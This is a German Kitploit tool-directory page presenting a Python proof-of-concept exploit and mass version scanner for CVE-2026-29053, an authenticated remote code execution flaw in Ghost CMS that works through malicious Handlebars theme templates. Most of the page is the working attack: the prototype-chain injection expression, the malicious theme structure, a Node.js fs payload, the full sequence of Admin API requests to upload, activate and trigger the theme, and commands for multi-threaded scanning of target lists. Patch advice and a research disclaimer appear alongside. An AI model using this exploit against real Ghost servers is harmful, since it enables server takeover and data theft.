Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-29053 — Python-PoC und Versionsscanner für CVE-2026-29053, eine authentifizierte RCE in Ghost CMS unter 6.19.1 über bösartige Handlebars-Theme-Templates. | Kitploit
Tools/GitHubGitHub/k3ystr0k3r/cve-2026-29053
SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

Python-PoC und Versionsscanner für CVE-2026-29053, eine authentifizierte RCE in Ghost CMS unter 6.19.1 über bösartige Handlebars-Theme-Templates.

12vor 15 StundenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-29053 - Ghost CMS < 6.19.0 - Authentifizierte Remote-Code-Ausführung über ein bösartiges Theme

CVE-2026-29053 betrifft das auf Node.js basierende Content-Management-System Ghost. Versionen von 0.7.2 bis 6.19.0 sind von diesem Problem betroffen. Ein bösartiges Theme kann diese Schwachstelle ausnutzen und beliebigen Code auf dem Server ausführen, auf dem Ghost läuft. Die Schwere dieser Schwachstelle ist hoch, mit einem CVSS-Score von 7.6. Dieses Problem wurde in Version 6.19.1 behoben. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, kann unbefugten Zugriff auf den Server erlangen und möglicherweise die Kontrolle darüber übernehmen. Er könnte diesen Zugriff dann nutzen, um Daten zu manipulieren, sensible Informationen zu stehlen oder andere bösartige Aktivitäten durchzuführen. Die betroffenen Produkte/Dienste sind alle Versionen von Ghost von 0.7.2 bis 6.19.0. Um dieses Risiko zu mindern, sollten Benutzer ihre Ghost-Installationen so schnell wie möglich auf Version 6.19.1 oder höher aktualisieren. Dadurch wird sichergestellt, dass die Schwachstelle behoben ist und keine Bedrohung mehr darstellt. Wenn ein Update derzeit nicht möglich ist, wird empfohlen, neue Entwicklungen zu dieser Schwachstelle genau zu beobachten und die erforderlichen Sicherheitsmaßnahmen zum Schutz vor potenziellen Angriffen zu ergreifen. Diese CVE ist derzeit nicht im CISA-Katalog der bekannten ausgenutzten Schwachstellen (Known Exploited Vulnerabilities, KEV) aufgeführt, was bedeutet, dass sie nicht aktiv von Bedrohungsakteuren ausgenutzt wurde. Benutzer sollten jedoch dennoch die Aktualisierung ihrer Systeme priorisieren, um potenzielle Risiken im Zusammenhang mit dieser Schwachstelle zu vermeiden.

Ein Python-PoC für CVE-2026-29053, eine Remote-Code-Ausführungsschwachstelle in Ghost CMS, die dadurch verursacht wird, dass speziell gestaltete Themes während des Template-Renderings beliebiges JavaScript ausführen können.

Betroffen: Ghost 0.7.2 bis Ghost CWE-74 — Unsachgemäße Neutralisierung spezieller Elemente in der Ausgabe, die von einer nachgelagerten Komponente verwendet wird

6.19.0
Behoben:
6.19.1
CWE:

Der Advisory von Ghost beschreibt das Problem als beliebige Codeausführung durch bösartige Themes.


Was ist die Schwachstelle?

Ghost-Themes verwenden Handlebars-Templates (.hbs).

Ein speziell gestaltetes Template kann die Art und Weise missbrauchen, wie Ghost Handlebars-Ausdrücke verarbeitet, und auf JavaScript-Funktionalität zugreifen, die von einem normalen Theme-Template aus nicht erreichbar sein sollte.

Der wichtige Teil des Exploits ist der Template-Ausdruck:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

Die Payload wird in das Template eingefügt, bevor das bösartige Theme gepackt wird.

Das resultierende Template wird dann über die Ghost Admin API hochgeladen und aktiviert.

Wenn Ghost anschließend das betroffene Template rendert, bewirkt der injizierte Ausdruck, dass die JavaScript-Payload innerhalb des Ghost-Serverprozesses ausgeführt wird.


Das PoC implementiert jede dieser Phasen direkt.

Authentifizierung

Das PoC stellt zunächst eine authentifizierte Ghost-Admin-Sitzung her.

Der relevante Endpunkt ist:

root@kitploit:~
POST /ghost/api/admin/session/

Die vom PoC generierte Anfrage entspricht:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost gibt das authentifizierte Sitzungs-Cookie zurück.

Das PoC prüft auf HTTP 201 und fährt dann mit demselben requests.Session()-Objekt fort.


Theme-Erstellung

Der Exploit erstellt ein ZIP-Archiv, das ein minimales Ghost-Theme enthält.

Die wichtigen Dateien sind:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

Das bösartige Template wird geschrieben nach:

root@kitploit:~
page-rce.hbs

Das PoC erstellt das Archiv vollständig im Speicher unter Verwendung des Python-Moduls zipfile.

Die generierte package.json identifiziert das Archiv als Ghost-Theme:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

Bösartiges Template

Der anfällige Teil des Themes ist der Handlebars-Ausdruck innerhalb von page-rce.hbs.

Das PoC generiert:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

Die Payload wird in %PAYLOAD% eingesetzt, bevor das Theme komprimiert wird.

Payload

Das Standard-PoC verwendet eine Dateischreib-Payload als nicht-destruktiven Nachweis der Codeausführung.

Es generiert JavaScript, das äquivalent ist zu:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

Dies zeigt, dass die Payload innerhalb des Ghost-Node.js-Prozesses ausgeführt wird und auf Node.js-Funktionalität zugreifen kann.

Das PoC enthält außerdem einen optionalen Callback-Modus für Laborumgebungen.


Theme-Upload

Sobald das bösartige Theme generiert wurde, sendet das PoC es an:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

Die Anfrage ist ein Multipart-Formular-Upload.

Konzeptionell:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

Das Archiv enthält das oben beschriebene bösartige .hbs-Template.

Das PoC erwartet HTTP 200 und extrahiert den zurückgegebenen Theme-Namen aus der JSON-Antwort.


Theme-Aktivierung

Nach dem Hochladen des Themes aktiviert das PoC es mit:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Der Aktivierungsendpunkt wird dynamisch konstruiert:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

Der Exploit stoppt, wenn Ghost nicht HTTP 200 zurückgibt.


Auslösen des Templates

Das PoC erstellt dann eine veröffentlichte Seite:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

Der Code verwendet den Slug:

root@kitploit:~
/rce/

Wenn die Seite bereits existiert, versucht er stattdessen, die vorhandene Seite abzurufen.

Der endgültige Auslöser ist einfach:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

Dies veranlasst Ghost, das aktive Theme zu rendern.

Das PoC prüft das zurückgegebene HTML auf:

root@kitploit:~
CVE-2026-29053 trigger

um zu bestätigen, dass page-rce.hbs gerendert wurde.


Warum dies zu RCE führt

Der wichtige Unterschied besteht darin, dass der Angreifer nicht lediglich HTML in eine Seite injiziert.

Die bösartige Eingabe wird Teil eines Ghost-Handlebars-Theme-Templates.

Das Template wird anschließend vom serverseitigen Rendering-System von Ghost interpretiert.

Der gestaltete Ausdruck erreicht JavaScript-Funktionalität über die Prototyp-/Konstruktionskette:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
vom Angreifer kontrolliertes JavaScript

Das resultierende JavaScript wird im Ghost-Serverprozess ausgeführt.

Das PoC demonstriert dies, indem es auf das integrierte fs-Modul von Node zugreift und eine Datei auf dem Server schreibt.


Roher Anfrageablauf

Zusammengefasst ergibt die HTTP-Interaktion:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── authentifizieren

2. POST /ghost/api/admin/themes/upload/
   └── malicious-theme.zip hochladen

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── bösartiges Theme aktivieren

4. POST /ghost/api/admin/pages/
   └── /rce/ erstellen

5. GET /rce/
   └── bösartige page-rce.hbs rendern
       └── Handlebars-Ausdruck
           └── JavaScript-Ausführung
               └── Auswirkung auf Betriebssystemebene

Versionsprüfung

Das PoC enthält außerdem einen Scanner.

Es fordert an:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

Die Antwort wird analysiert auf:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

Das PoC vergleicht dann die Version mit:

root@kitploit:~
0.7.2 <= version <= 6.19.0

und meldet übereinstimmende Versionen als anfällig.

Der veröffentlichte Advisory gibt den betroffenen Bereich als >= 0.7.2, < 6.19.1 an, mit 6.19.1 als behobener Version.


PoC-Verwendung

Dateischreib-Nachweis

root@kitploit:~
python3 exploit.py --target http://TARGET

Der Standard-Nachweispfad ist:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

Er kann geändert werden mit:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

Vorhandene Installation

Wenn die Ghost-Einrichtung bereits abgeschlossen wurde:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

Anmeldedaten können angegeben werden mit:

root@kitploit:~
--email
--password

Scanner

Ziele können aus einer Datei bereitgestellt werden:

root@kitploit:~
python3 exploit.py --file targets.txt

Anzahl der Threads:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

Der Scanner prüft den Ghost-Admin-Site-Endpunkt und vergleicht die gemeldete Ghost-Version mit dem anfälligen Bereich.


Auswirkung

Eine erfolgreiche Ausnutzung ermöglicht die Ausführung beliebigen JavaScripts innerhalb des Ghost-Serverprozesses.

Abhängig von den Berechtigungen des Ghost-Prozesses und der verwendeten Payload kann dies beeinträchtigen:

  • Vertraulichkeit
  • Integrität
  • Verfügbarkeit

Der veröffentlichte CVE-Eintrag bewertet das Problem als über das Netzwerk erreichbar, erfordert jedoch hohe Berechtigungen und Benutzerinteraktion, mit geändertem Scope.


Behebung

Aktualisieren Sie Ghost auf:

root@kitploit:~
6.19.1+

Der Schwachstellen-Advisory von Ghost identifiziert 6.19.1 als die gepatchte Version.

Installieren Sie keine nicht vertrauenswürdigen Themes.


Haftungsausschluss

Dieses PoC wird für Schwachstellenforschung, autorisierte Penetrationstests und Bildungszwecke bereitgestellt.

Tool herunterladen